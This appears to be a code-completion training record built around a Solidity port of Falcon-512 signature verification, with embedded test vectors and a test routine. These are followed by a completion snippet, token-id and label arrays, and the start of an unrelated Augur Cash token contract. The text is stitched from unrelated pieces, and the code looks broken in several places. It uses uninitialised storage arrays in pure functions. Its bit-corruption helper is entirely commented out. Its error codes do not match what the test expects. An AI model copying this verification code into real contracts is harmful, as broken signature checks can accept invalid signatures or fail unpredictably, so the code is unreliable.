sz2 = PQCLEAN_FALCON512_CLEAN_comp_decode(sig, 9, sigbuf, sigbuflen);
if (sz2 != sigbuflen)
{
return -6;
}
///////////////////////////////////////////////
// Hash nonce + message into a vector.
OQS_SHA3_shake256_inc_init();
OQS_SHA3_shake256_inc_absorb(nonce, NONCELEN);
OQS_SHA3_shake256_inc_absorb(m, mlen);
OQS_SHA3_shake256_inc_finalize();
PQCLEAN_FALCON512_CLEAN_hash_to_point_ct(hm, 9, workingStorage);
OQS_SHA3_shake256_inc_ctx_release();
///////////////////////////////////////////////
// Verify signature.
//fprintf(stdout, "INFO: do_verify() calling PQCLEAN_FALCON512_CLEAN_verify_raw()\n");
rc = PQCLEAN_FALCON512_CLEAN_verify_raw(hm, sig, h, 9, workingStorage);
if (rc == 0)
{
return -7;
}
//fprintf(stdout, "INFO: do_verify() EXIT\n");
return 0;
}
////////////////////////////////////////
//
// int PQCLEAN_FALCON512_CLEAN_crypto_sign_verify(const uint8_t* sig,
// size_t siglen,
// const uint8_t* m,
// size_t mlen,
// const uint8_t* pk)
////////////////////////////////////////
function PQCLEAN_FALCON512_CLEAN_crypto_sign_verify ( bytes memory /* uint8_t* */ sig,
uint16 siglen,
bytes memory /* uint8_t* */ m,
uint16 mlen,
bytes memory /* uint8_t* */ pk ) public pure returns (int16)
{
if (siglen < 1 + NONCELEN) // 1 + 40
{
return -11;
}
if (uint8(sig[0]) != (0x30 + 9))
{
return -12;
}
uint ii;
uint sourceOffset;
uint8[NONCELEN] storage nonce;
uint32 sigbuflen = siglen - 1 - NONCELEN;
//uint8[sigbuflen] storage sigbuf;
uint8[g_SIGBUFLEN] storage sigbuf;
int16 retval;
sourceOffset = 1;
for (ii=0; ii<NONCELEN; ii++)
{
nonce[ii] = uint8(sig[sourceOffset + ii]);
}
sourceOffset = 1 + NONCELEN;
for (ii=0; ii<sigbuflen; ii++)
{
sigbuf[ii] = uint8(sig[sourceOffset + ii]);
}
//fprintf(stdout, "INFO: PQCLEAN_FALCON512_CLEAN_crypto_sign_verify() Calling do_verify()\n");
retval = do_verify(nonce, sigbuf, sigbuflen, m, mlen, pk);
return retval;
}
//}
// ==== pqclean.c END =====================================================================================================================
// ==== falcon_dataset_from_kestrel.h BEGIN =====================================================================================================================
//contract lib_falcon_dataset_from_kestrel
//{
// "Falcon512VerifyTest_Signature.txt"
// Size = 658 (0x292) bytes
// The 1st byte of the signature (0x39 = 00111001 = 0cc1nnnn) is telling us that...
// a) cc is 01 (i.e. Encoding uses the compression algorithm described in Section 3.11.2)
// b) nnnn is 1001 (9)
uint32 constant g_signatureLen = 658;
uint32 constant g_SIGBUFLEN = g_signatureLen - 1 - NONCELEN;
uint8[658] g_signature =
[
// 0-----1-----2-----3-----4-----5-----6-----7-----8-----9----10-----1-----2-----3-----4-----5-----6-----7-----8-----9----20-----1-----2-----3-----4-----5-----6-----7-----8-----9----30-----1
// SignatureType [1]
0x39,
// Nonce [40]
0x01, 0x91, 0xEF, 0x48, 0x48, 0x6E, 0xB9, 0xD9, 0xA6, 0x82, 0x3D, 0x8E, 0x6F, 0xF0, 0xD7, 0xF4, 0xDF, 0x8B, 0xED, 0x13, 0xAF, 0x7F, 0xA5, 0x5A, 0x7E, 0x8D, 0xFA, 0x0D, 0x19, 0x72, 0x58,
0x42, 0xA5, 0x45, 0x1B, 0xCF, 0x4C, 0x06, 0x19, 0x82,
// Actual Signature [658 - 1 - 40 = 617]
0xD0, 0x21, 0xC6, 0x3A, 0x7D, 0x66, 0x6C, 0x20, 0x24, 0xFE, 0x57, 0x03, 0x3B, 0x1A, 0x1B, 0xDA, 0x8C, 0x21, 0x79, 0xC5, 0x18, 0xC9, 0x4D,
0x43, 0x49, 0x47, 0xEA, 0xCC, 0x10, 0x9E, 0xFE, 0x79, 0x28, 0x57, 0xFF, 0x64, 0x50, 0xCC, 0x85, 0x3E, 0x8B, 0xB9, 0xD5, 0xD9, 0x51, 0xB3, 0xDD, 0xB1, 0x39, 0x7F, 0xAD, 0xC2, 0x21, 0x07, 0x62,
0xB4, 0x79, 0xE3, 0x86, 0xE6, 0x60, 0xA6, 0x8E, 0xB2, 0xAD, 0x03, 0x4A, 0x58, 0xA3, 0xD0, 0xCC, 0xE2, 0x37, 0x0E, 0xDF, 0x25, 0x7F, 0xF4, 0xF8, 0x1F, 0xE9, 0x7C, 0x9B, 0xB1, 0x0C, 0x1A, 0x96,
0xEE, 0x87, 0xD2, 0x41, 0x4F, 0xDF, 0x4E, 0xA3, 0x9F, 0x9F, 0x7C, 0x06, 0x04, 0xD1, 0xA3, 0xAE, 0xBE, 0x5D, 0x73, 0xA6, 0xA1, 0xF7, 0x22, 0x1A, 0x99, 0xEB, 0x23, 0x89, 0xB9, 0x05, 0xDA, 0x94,
0x76, 0x6C, 0xD2, 0x7A, 0x9A, 0x89, 0xF1, 0x3D, 0x56, 0xB9, 0x7C, 0xDD, 0x34, 0x66, 0x89, 0xCF, 0xC5, 0xB3, 0xBD, 0xBB, 0xDC, 0x51, 0x02, 0xD3, 0xB5, 0xF9, 0x3A, 0x2A, 0x95, 0xBE, 0x40, 0xAF,
0xCA, 0xAC, 0x41, 0x6D, 0x83, 0x13, 0x91, 0x47, 0x4C, 0x22, 0x98, 0xDA, 0x0A, 0x35, 0x9B, 0xC9, 0x58, 0xA5, 0xF2, 0x27, 0xDE, 0x99, 0x1A, 0x33, 0x89, 0x44, 0xD6, 0xEB, 0xE4, 0x96, 0x3F, 0x1A,
0x4B, 0xA5, 0xBB, 0x3D, 0x5C, 0x67, 0x25, 0x26, 0x99, 0x23, 0x29, 0xC8, 0x4C, 0x57, 0x70, 0xC0, 0x3A, 0x5E, 0x43, 0x50, 0x4A, 0x28, 0xFA, 0x86, 0xF3, 0xB9, 0xBD, 0x72, 0x35, 0x4C, 0x0B, 0x19,
0x21, 0xD1, 0xB5, 0x68, 0xE5, 0x21, 0x28, 0x56, 0xD8, 0x43, 0x6F, 0x79, 0xA8, 0xC4, 0x09, 0xE6, 0x31, 0x08, 0x2A, 0x4E, 0x28, 0xB7, 0xCB, 0x99, 0xD8, 0x9C, 0x2A, 0x9A, 0xB3, 0xC1, 0x96, 0xC5,
0x6A, 0x77, 0xE6, 0xD0, 0x57, 0x18, 0x19, 0x6B, 0x31, 0x6D, 0x8E, 0x9B, 0xED, 0xCF, 0xC2, 0x14, 0xE2, 0xA3, 0x3C, 0x02, 0xF0, 0xAF, 0xD8, 0x21, 0xDB, 0xFC, 0xB9, 0x66, 0xC8, 0xBB, 0x8D, 0xDE,
0x01, 0xC8, 0x12, 0xA2, 0x04, 0x5B, 0x6B, 0xC8, 0xDE, 0x76, 0x7F, 0x97, 0xB7, 0x39, 0xDC, 0x8E, 0xD2, 0x62, 0xF4, 0x3D, 0xFC, 0x09, 0x2E, 0x49, 0xF3, 0x4C, 0x77, 0x28, 0x83, 0x98, 0x95, 0xE4,
0x62, 0x06, 0x20, 0xE4, 0xA1, 0x93, 0xE9, 0x4D, 0xBF, 0x2A, 0x9D, 0x43, 0x9E, 0x24, 0x9E, 0x6E, 0xC3, 0x37, 0x7E, 0xD6, 0x73, 0x40, 0x30, 0xAC, 0xD4, 0x3D, 0x13, 0x8B, 0x98, 0x2C, 0x36, 0xDF,
0x81, 0x4A, 0x42, 0x57, 0xF9, 0x71, 0xA5, 0x3A, 0xA5, 0xD9, 0x2A, 0x76, 0x70, 0x91, 0x54, 0x69, 0x01, 0x3E, 0x68, 0x12, 0x4E, 0xDA, 0xE3, 0xFC, 0x11, 0xB4, 0xCA, 0x47, 0x09, 0x38, 0xEE, 0x2F,
0x21, 0x8B, 0xC0, 0xE1, 0x14, 0x68, 0xA6, 0x09, 0x2F, 0x23, 0x3D, 0xE9, 0x14, 0x79, 0x0C, 0x97, 0x2F, 0x77, 0xD9, 0x5F, 0x96, 0x8A, 0xC5, 0xF6, 0xE0, 0x96, 0x8E, 0x0E, 0xFA, 0x8D, 0x62, 0x88,
0x25, 0xF3, 0xFB, 0xAD, 0x22, 0x54, 0xE0, 0x4E, 0x9B, 0xA3, 0x4D, 0xEF, 0xC6, 0x98, 0xB2, 0xE1, 0x9E, 0x96, 0x29, 0x29, 0x0F, 0x4E, 0x56, 0x82, 0x27, 0x05, 0x95, 0x03, 0x5B, 0x07, 0x40, 0x4B,
0x09, 0x1F, 0x53, 0x25, 0x29, 0x3E, 0xD4, 0x02, 0x1C, 0x61, 0x9D, 0x7F, 0x09, 0x14, 0xAC, 0x47, 0x21, 0x9B, 0x9E, 0x5D, 0xF6, 0xFD, 0xA5, 0xAC, 0xBB, 0x39, 0x8A, 0xDB, 0x5C, 0x85, 0x40, 0xDC,
0x33, 0x90, 0xA5, 0x48, 0xD8, 0x2B, 0xE4, 0x2F, 0xAC, 0x8F, 0x6E, 0xF9, 0x96, 0x35, 0x46, 0xBC, 0xF2, 0x78, 0xE6, 0x3F, 0xDD, 0x49, 0xD0, 0xAB, 0xBE, 0x62, 0x20, 0x8E, 0x39, 0x56, 0x46, 0x87,
0x71, 0xDF, 0x4A, 0x50, 0xDD, 0x7A, 0x3A, 0xA1, 0x97, 0xD8, 0x1F, 0x58, 0xC1, 0x44, 0x25, 0xEE, 0x16, 0x6D, 0x29, 0xAE, 0xF3, 0xEB, 0x2C, 0x17, 0x1F, 0xF9, 0xB2, 0x4F, 0x57, 0x5E, 0x0A, 0xE9,
0xA6, 0x52, 0x27, 0xD1, 0xE5, 0x7A, 0xB6, 0xC5, 0xDF, 0x11, 0xA3, 0x69, 0x64, 0x5D, 0xAC, 0x71, 0x7A, 0xB6, 0x71, 0xA4, 0xC1, 0x0A, 0xEF, 0x72, 0x82, 0x41, 0x34, 0xD0, 0xE6, 0x86, 0x76, 0xBB,
0x13, 0x8C, 0xA2, 0x0E, 0xB5, 0xE0, 0x8A, 0x0D, 0x1F, 0x90, 0xEE, 0x48, 0xAF, 0x1C, 0xCE, 0x1F, 0x21, 0xC7, 0x23, 0x94, 0xAC, 0x42, 0x7F, 0x38, 0x2C, 0xED, 0x54, 0x51, 0x83, 0x68, 0x9C, 0xDB,
0x72, 0xCE, 0xC8, 0xEA, 0x30, 0xC7, 0x73, 0x89, 0xA1, 0x62, 0x04, 0x35, 0x62, 0x59, 0xE4, 0xB1, 0x14, 0x2D
];
// "Falcon512VerifyTest_PublicKey.txt"
// Size = 897 (0x381) bytes
// The 1st byte of the publicKey (0x09 = 00001001 = 0000nnnn) is telling us that...
// a) nnnn is 1001 (9)
// Ensure that the least significant nybble of pubKey[0] (logn) is in the range 1..10
// 1st byte = 0cc1nnnn, where nnnn = logn
// 1st byte = 09, so logn = 9
// Length check:
// if (logn <= 1)
// return uint16(4) + 1;
// else
// return (uint16(7) << ((logn) - 2)) + 1;
// logn = 9, so we must use the else calculation
// 7 = (0000 0000 0000 0111)
// logn-2 = 7
// (0000 0000 0000 0111) << 7 = (0000 0011 1000 0000) = 0x0380
// 0x0380 + 1 = 0x0381 = 897
// i.e. Length is good
uint32 constant g_pubKeyLen = 897;
uint8[897] g_pubKey =
[
// 0-----1-----2-----3-----4-----5-----6-----7-----8-----9----10-----1-----2-----3-----4-----5-----6-----7-----8-----9----20-----1-----2-----3-----4-----5-----6-----7-----8-----9----30-----1
0xD8, 0x75, 0x5E, 0x9F, 0x1F, 0xD2, 0x05, 0x64, 0x76, 0x25, 0x85, 0xBA, 0xA5, 0xA4, 0xF1, 0x65, 0xEB, 0xEC, 0x6D, 0xF8, 0x0A, 0xB5, 0x24, 0x8A, 0x22, 0xBB, 0xA9, 0x40, 0xA7, 0x75, 0x4A, 0xBE,
0x53, 0x29, 0xB5, 0xC6, 0x03, 0x45, 0xF3, 0x95, 0xAD, 0x2A, 0x33, 0xAC, 0x10, 0x6E, 0x65, 0xF1, 0x4B, 0x91, 0xD0, 0xDC, 0xA3, 0x08, 0xAE, 0x4C, 0xC6, 0xDB, 0x5F, 0xE6, 0x9E, 0xEE, 0x9F, 0xE4,
0xA3, 0x92, 0xFF, 0x64, 0xF5, 0x28, 0x65, 0x07, 0x0E, 0xB5, 0x58, 0x7E, 0x7F, 0x83, 0xAB, 0x6C, 0x18, 0x7C, 0xC0, 0x58, 0x4B, 0x35, 0x52, 0x92, 0x0A, 0x3D, 0x4B, 0x50, 0xAB, 0x0A, 0x4A, 0x1E,
0x8D, 0x9D, 0xEA, 0x3D, 0x4B, 0x5E, 0xB0, 0x15, 0xA2, 0xF4, 0xAB, 0x59, 0xAE, 0x3D, 0x0A, 0xD2, 0xC0, 0x81, 0xD8, 0xD2, 0x42, 0x8A, 0x83, 0x80, 0x6D, 0xE7, 0x97, 0x3E, 0xC6, 0x59, 0x75, 0xFF,
0x8F, 0xD7, 0x28, 0x7C, 0x64, 0x2B, 0x6A, 0x83, 0x25, 0x02, 0x55, 0xB6, 0x18, 0x38, 0xCB, 0x4D, 0x68, 0xC5, 0x26, 0x00, 0xB8, 0xC5, 0x33, 0x0F, 0xCE, 0x48, 0xAA, 0xEB, 0x80, 0x6D, 0x4F, 0xB9,
0x9A, 0x9A, 0xDD, 0x5E, 0x56, 0x57, 0x74, 0x54, 0xA5, 0xA5, 0xAD, 0x56, 0x99, 0x71, 0x1D, 0xD0, 0x48, 0x54, 0xBF, 0x11, 0x48, 0x47, 0x13, 0xDE, 0xA5, 0xD9, 0xAB, 0xD1, 0x7F, 0x92, 0x14, 0xC3,
0x3C, 0x4F, 0x4D, 0x47, 0xA6, 0x60, 0x0B, 0xC2, 0x41, 0x01, 0x1F, 0x52, 0xE2, 0x9D, 0x98, 0x20, 0xAC, 0x85, 0xAB, 0x70, 0xDF, 0xCC, 0xB1, 0xD0, 0x8C, 0x00, 0x3B, 0x48, 0x9C, 0x08, 0x26, 0xBF,
0x28, 0xCC, 0xEE, 0x71, 0x94, 0x56, 0x37, 0xB7, 0x16, 0x1E, 0x6A, 0x99, 0x58, 0x44, 0x51, 0xBF, 0x83, 0x51, 0xA4, 0x3A, 0x0B, 0x07, 0x55, 0xCE, 0x30, 0x44, 0xF0, 0x84, 0x0B, 0x7A, 0xD0, 0x48,
0x9E, 0x65, 0x72, 0xC8, 0x96, 0x66, 0x64, 0x63, 0xE2, 0xCF, 0xC8, 0xEB, 0xE1, 0x25, 0x8E, 0x3A, 0x96, 0x3A, 0xB1, 0x43, 0x3B, 0x17, 0x38, 0x65, 0x70, 0x5C, 0x15, 0xF0, 0x44, 0xBC, 0xFD, 0xE1,
0xB7, 0x80, 0xD2, 0x9E, 0x42, 0x26, 0x04, 0xA9, 0x08, 0x1D, 0x23, 0x49, 0xF6, 0xD6, 0xB4, 0x06, 0x71, 0xB7, 0xC6, 0xAE, 0x77, 0xF4, 0x4C, 0x16, 0xA2, 0x24, 0x12, 0xE9, 0xE3, 0x2C, 0xB1, 0x16,
0x36, 0x3D, 0x99, 0xCA, 0x4D, 0x2C, 0x3A, 0xCE, 0x67, 0x30, 0xFD, 0x45, 0xFC, 0x66, 0x12, 0xD3, 0x89, 0xED, 0xCD, 0x1C, 0x9B, 0x22, 0x01, 0xBA, 0x32, 0xA4, 0x70, 0x5F, 0xAC, 0x61, 0x00, 0x5E,
0x18, 0x4B, 0x89, 0xA4, 0xC9, 0x09, 0x83, 0xAC, 0xD7, 0xAF, 0xEE, 0x69, 0x4A, 0xC9, 0xD9, 0x04, 0x47, 0x3E, 0xB5, 0x12, 0xEC, 0x2D, 0x48, 0x75, 0xC1, 0xC9, 0x54, 0xB7, 0x91, 0x50, 0x6F, 0x02,
0xC9, 0xE6, 0x5F, 0x5D, 0x04, 0x97, 0x6E, 0xA4, 0xE8, 0x1D, 0x22, 0xD4, 0x88, 0x4E, 0xB1, 0xC4, 0x7E, 0xEB, 0x1A, 0x7E, 0xE1, 0x09, 0xE1, 0x2E, 0x61, 0xCE, 0x0E, 0xE4, 0xDF, 0xA8, 0x8F, 0xDA,
0xCB, 0x78, 0xED, 0x61, 0xB0, 0xA3, 0x27, 0xC2, 0x06, 0x9D, 0x8C, 0xD3, 0x3D, 0x18, 0x4E, 0x68, 0xA6, 0x0C, 0x22, 0xF6, 0x80, 0x4F, 0xAC, 0xEC, 0xA9, 0x68, 0xCF, 0x5C, 0x1C, 0x27, 0x6C, 0x7D,
0x16, 0x38, 0x6F, 0x38, 0xBB, 0x82, 0xD5, 0xEA, 0x1E, 0x11, 0xD8, 0x01, 0xF5, 0xEF, 0x33, 0xD3, 0xA3, 0xB0, 0x17, 0x1D, 0xC8, 0x70, 0x74, 0x1C, 0xE8, 0x37, 0x3C, 0x77, 0x9A, 0xE8, 0x93, 0x52,
0x11, 0x34, 0x8C, 0x43, 0x62, 0x85, 0x70, 0x36, 0x81, 0xF1, 0xE6, 0xB0, 0xAD, 0xC0, 0x5C, 0x35, 0xC5, 0x61, 0x96, 0xC2, 0x46, 0x73, 0x1E, 0xE2, 0xA4, 0xA9, 0x98, 0xEF, 0x91, 0x8A, 0x16, 0x50,
0x23, 0xA7, 0x6D, 0x32, 0x4C, 0x58, 0x41, 0x9C, 0xD9, 0xE7, 0x6E, 0xBC, 0xA0, 0xE1, 0x38, 0x23, 0xD9, 0x0B, 0x2E, 0xBC, 0x64, 0x17, 0x17, 0xB4, 0x04, 0xE2, 0xEE, 0x29, 0x37, 0xD4, 0x8B, 0x38,
0x44, 0x1E, 0x88, 0xF1, 0x08, 0x6C, 0x15, 0xC9, 0x5D, 0xE8, 0xA4, 0x86, 0x32, 0xBE, 0xE5, 0xFB, 0x56, 0xF9, 0x9F, 0x07, 0xAC, 0x31, 0x03, 0x73, 0x23, 0x00, 0x03, 0x17, 0xC2, 0x91, 0xE2, 0xEA,
0xCE, 0x78, 0x65, 0xEC, 0xE2, 0x35, 0x48, 0xE8, 0x04, 0x67, 0x92, 0x41, 0xF1, 0x36, 0x67, 0x48, 0xB1, 0x65, 0x6C, 0xD5, 0x8C, 0x28, 0xB8, 0x6D, 0x5E, 0x08, 0xE2, 0x69, 0xD0, 0xE3, 0xA6, 0x68,
0xA8, 0x34, 0xF4, 0x17, 0x8A, 0x18, 0x8D, 0xD6, 0x33, 0x84, 0x04, 0x27, 0x73, 0xFA, 0xC1, 0x0B, 0x3D, 0x96, 0xF5, 0x33, 0xEC, 0xAB, 0xE3, 0xA8, 0xA2, 0x7E, 0x09, 0x1D, 0x58, 0x46, 0xD6, 0xEA,
0xD8, 0xAC, 0x92, 0x41, 0x43, 0x72, 0x40, 0xAD, 0x4F, 0x7D, 0x27, 0x4B, 0x78, 0x40, 0x34, 0x02, 0x21, 0x0A, 0xD0, 0x42, 0xDD, 0xF7, 0x3D, 0x59, 0xE0, 0x2A, 0xBF, 0x65, 0x7A, 0xA4, 0x1E, 0x10,
0x14, 0x55, 0xDF, 0x63, 0x8D, 0x44, 0xC1, 0x81, 0xE4, 0xCA, 0x21, 0x9F, 0x2C, 0x66, 0x79, 0x08, 0x8F, 0xF1, 0x1A, 0xF4, 0x39, 0x11, 0x5D, 0x8E, 0xF3, 0x8F, 0x36, 0x14, 0xB9, 0x57, 0xE1, 0xEB,
0xB9, 0xCC, 0x2E, 0x6B, 0xEE, 0x0C, 0x06, 0x64, 0xDA, 0x7B, 0xA3, 0xF1, 0x26, 0x84, 0x04, 0xA5, 0xBA, 0xC8, 0xED, 0x45, 0x85, 0x48, 0x81, 0x97, 0x23, 0x82, 0x90, 0x88, 0x61, 0xCC, 0x7F, 0x14,
0xF5, 0xD0, 0x3B, 0x11, 0x22, 0x73, 0x91, 0x78, 0x54, 0x61, 0x75, 0x90, 0xAA, 0xD7, 0x0E, 0xEE, 0xDF, 0x39, 0x8C, 0xB2, 0x06, 0xFF, 0x5C, 0x7F, 0x7A, 0x9C, 0x53, 0x90, 0xDF, 0xA2, 0x7E, 0x14,
0xB1, 0x14, 0x85, 0x18, 0x83, 0x3B, 0x33, 0x75, 0xCD, 0xFA, 0xF5, 0xA7, 0x36, 0x80, 0xCD, 0xD7, 0xD0, 0xEA, 0x5F, 0x66, 0x46, 0x72, 0xFE, 0x91, 0xAE, 0x67, 0x00, 0x03, 0x2A, 0x3E, 0xE2, 0x1A,
0xEB, 0x3A, 0xB7, 0xB6, 0xA0, 0xF6, 0x6B, 0x0F, 0x65, 0x59, 0x7A, 0x7F, 0xB6, 0xF5, 0xC1, 0xA9, 0xB1, 0x45, 0x9D, 0x48, 0x88, 0x5D, 0xB3, 0x73, 0x4A, 0xBE, 0xC9, 0x91, 0x8C, 0x0F, 0x3A, 0x81,
0x35, 0xBB, 0xB2, 0x27, 0x99, 0x84, 0xA0, 0x54, 0x11, 0x5E, 0x9C, 0x12, 0xA8, 0xF1, 0x0C, 0xA2, 0x5B, 0x93, 0xBE, 0x8A, 0x3A, 0xCF, 0xB9, 0x4D, 0xC6, 0xA9, 0x0D, 0x4D, 0xA0, 0xE0, 0xA7, 0xAD,
0xA8
];
// "Falcon512VerifyTest_Message.txt"
// Size = 100 (0x64) bytes
// 100 bytes of random data
uint32 constant g_messageLen = 100;
uint8[100] g_message =
[
// 0-----1-----2-----3-----4-----5-----6-----7-----8-----9----10-----1-----2-----3-----4-----5-----6-----7-----8-----9----20-----1-----2-----3-----4-----5-----6-----7-----8-----9----30-----1
0x36, 0xEA, 0x37, 0x8A, 0x89, 0x29, 0x4F, 0x83, 0x9D, 0xC9, 0xBC, 0xD9, 0xA8, 0x25, 0x1F, 0x92, 0xCF, 0xD3, 0x9A, 0xAC, 0xC1, 0xE2, 0x28, 0xF4, 0x44, 0x42, 0xE9, 0x5B, 0x3C, 0x59, 0xEF, 0x90,
0x46, 0x13, 0xEC, 0xE9, 0xD3, 0x12, 0x02, 0x8B, 0x07, 0xA3, 0xCB, 0x26, 0xB3, 0xC9, 0x84, 0x4D, 0xCD, 0xB2, 0x69, 0x92, 0x99, 0xD7, 0xD4, 0x7F, 0xD6, 0x3F, 0x78, 0x89, 0xD6, 0xC5, 0xCE, 0x34,
0x62, 0x6B, 0x58, 0x3A
];
//}
// ==== falcon_dataset_from_kestrel.h END =====================================================================================================================
// ==== test_sig.c BEGIN =====================================================================================================================
//import "lib_falcon_pqclean.sol";
//import "lib_falcon_dataset_from_kestrel.sol"
//contract con_falcon_test_sig
//{
bool constant TEST_HAPPY_PATH = true;
bool constant TEST_UNHAPPY_PATH = true;
int8 constant EXIT_SUCCESS = 0;
int8 constant EXIT_FAILURE = -1;
// OQS_STATUS;
int8 constant OQS_ERROR = -1;
int8 constant OQS_SUCCESS = 0;
int8 constant OQS_EXTERNAL_LIB_ERROR_OPENSSL = 50;
//#ifdef TEST_UNHAPPY_PATH
function CorruptSomeBits(bytes memory /* unsigned char **/ pData, uint16 cbData) private pure
{
// TODO - Any corruption will do
//if (cbData > 0) { pData[ 0] = ~(pData[ 0]); }
//if (cbData > 10) { pData[ 10] = ~(pData[ 10]); }
//if (cbData > 100) { pData[100] = ~(pData[100]); }
}
//#endif
////////////////////////////////////////
//
////////////////////////////////////////
function main() public pure returns (int16)
{
uint8[] storage public_key;
uint32 public_key_len = 0;
uint8[] storage message;
uint32 message_len = 0;
uint8[] storage signature;
uint32 signature_len;
int16 rc;
int8 ret = EXIT_FAILURE;
//printf("*** ================================================================================\n");
//printf("*** Sample computation for signature Falcon-512\n");
//printf("*** ================================================================================\n");
do
{
public_key = g_pubKey;
public_key_len = g_pubKeyLen;
message = g_message;
message_len = g_messageLen;
signature = g_signature;
signature_len = g_signatureLen;
if (public_key_len != PQCLEAN_FALCON512_CLEAN_CRYPTO_PUBLICKEYBYTES)
{
//fprintf(stderr, "ERROR: Length of Public key (%lu) not as expected (%u)\n", public_key_len, PQCLEAN_FALCON512_CLEAN_CRYPTO_PUBLICKEYBYTES);
ret = EXIT_FAILURE;
break;
}
if (TEST_HAPPY_PATH)
{
//fprintf(stdout, "-------------------------------------------------------------------------------------\n");
//fprintf(stdout, "*** Calling PQCLEAN_FALCON512_CLEAN_crypto_sign_verify()\n");
rc = PQCLEAN_FALCON512_CLEAN_crypto_sign_verify(signature, signature_len, message, message_len, public_key);
if (rc != OQS_SUCCESS)
{
//fprintf(stderr, "ERROR: PQCLEAN_FALCON512_CLEAN_crypto_sign_verify failed\n");
ret = EXIT_FAILURE;
break;
}
}
if (TEST_UNHAPPY_PATH)
{
//fprintf(stdout, "*** -------------------------------------------------------------------------------------\n");
//fprintf(stdout, "*** Modify the signature to invalidate it\n");
CorruptSomeBits(signature, signature_len); // Modify the signature in order to invalidate it and force a failure
//fprintf(stdout, "*** Calling PQCLEAN_FALCON512_CLEAN_crypto_sign_verify()\n");
rc = PQCLEAN_FALCON512_CLEAN_crypto_sign_verify(signature, signature_len, message, message_len, public_key);
if (rc != OQS_ERROR)
{
//fprintf(stderr, "ERROR: PQCLEAN_FALCON512_CLEAN_crypto_sign_verify should have failed!\n");
ret = EXIT_FAILURE;
break;
}
}
//fprintf(stdout, "*** All tests pass OK\n");
ret = EXIT_SUCCESS;
break;
} while (0);
//fprintf(stdout, "*** Cleanup...\n");
return ret;
}
}
// ==== test_sig.c END =====================================================================================================================
| //fprintf(stdout, "TRACE: keccak_inc_init()\n"); | function keccak_inc_init() public payable
{
uint32 i;
for (i = 0; i < 25; ++i)
{
shake256_context64[i] = 0;
}
shake256_context64[25] = 0;
}
| 1,775,327 | [
1,
759,
74,
1461,
12,
10283,
16,
315,
23827,
30,
417,
24410,
581,
67,
9523,
67,
2738,
1435,
64,
82,
8863,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
417,
24410,
581,
67,
9523,
67,
2738,
1435,
1071,
8843,
429,
203,
565,
288,
203,
3639,
2254,
1578,
225,
277,
31,
203,
203,
3639,
364,
261,
77,
273,
374,
31,
277,
411,
6969,
31,
965,
77,
13,
203,
3639,
288,
203,
5411,
699,
911,
5034,
67,
2472,
1105,
63,
77,
65,
273,
374,
31,
203,
3639,
289,
203,
3639,
699,
911,
5034,
67,
2472,
1105,
63,
2947,
65,
273,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.10;
import 'ROOT/ICashFaucet.sol';
import 'ROOT/IAugur.sol';
import 'ROOT/ICash.sol';
import 'ROOT/libraries/ITyped.sol';
import 'ROOT/external/IDaiVat.sol';
import 'ROOT/external/IDaiJoin.sol';
import 'ROOT/matic/ExecutorAcl.sol';
/**
* @title Cash
* @dev Test contract for CASH (Dai)
*/
contract Cash is ITyped, ICash, ICashFaucet, ExecutorAcl {
using SafeMathUint256 for uint256;
uint256 public constant ETERNAL_APPROVAL_VALUE = 2 ** 256 - 1;
event Mint(address indexed target, uint256 value);
event Burn(address indexed target, uint256 value);
mapping (address => uint) public wards;
modifier auth {
require(wards[msg.sender] == 1);
_;
}
string constant public name = "Cash";
string constant public symbol = "CASH";
